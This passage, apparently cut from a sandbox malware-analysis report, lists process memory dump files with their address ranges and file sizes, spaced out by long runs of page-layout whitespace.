                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-290-0x0000000007590000-0x0000000007591000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-296-0x0000000007A00000-0x0000000007A01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-271-0x0000000006D10000-0x0000000006D11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5288-276-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5384-507-0x00000000033E0000-0x00000000033E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5432-288-0x00000000022E0000-0x00000000022E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5696-470-0x0000000000490000-0x000000000049A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  40KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5696-519-0x00000000003E0000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  164KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5696-552-0x0000000004EB0000-0x0000000005206000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5728-315-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  136KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5728-369-0x0000000005260000-0x0000000005878000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5736-314-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  136KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5736-367-0x00000000057A0000-0x0000000005DB8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5840-546-0x00007FFCD55F0000-0x00007FFCD55F2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5944-477-0x00000000055B0000-0x00000000055B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5980-373-0x0000000004E10000-0x0000000005428000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5988-420-0x0000000001C50000-0x0000000001C61000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  68KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/5988-417-0x0000000001770000-0x0000000001AC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/6004-523-0x0000000002200000-0x0000000002277000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  476KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/6140-575-0x0000000002280000-0x0000000002303000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  524KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/6376-592-0x0000000003400000-0x0000000003756000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/6592-530-0x00000000007F0000-0x0000000000815000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  148KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/6592-608-0x0000000005170000-0x00000000054C6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  3.3MB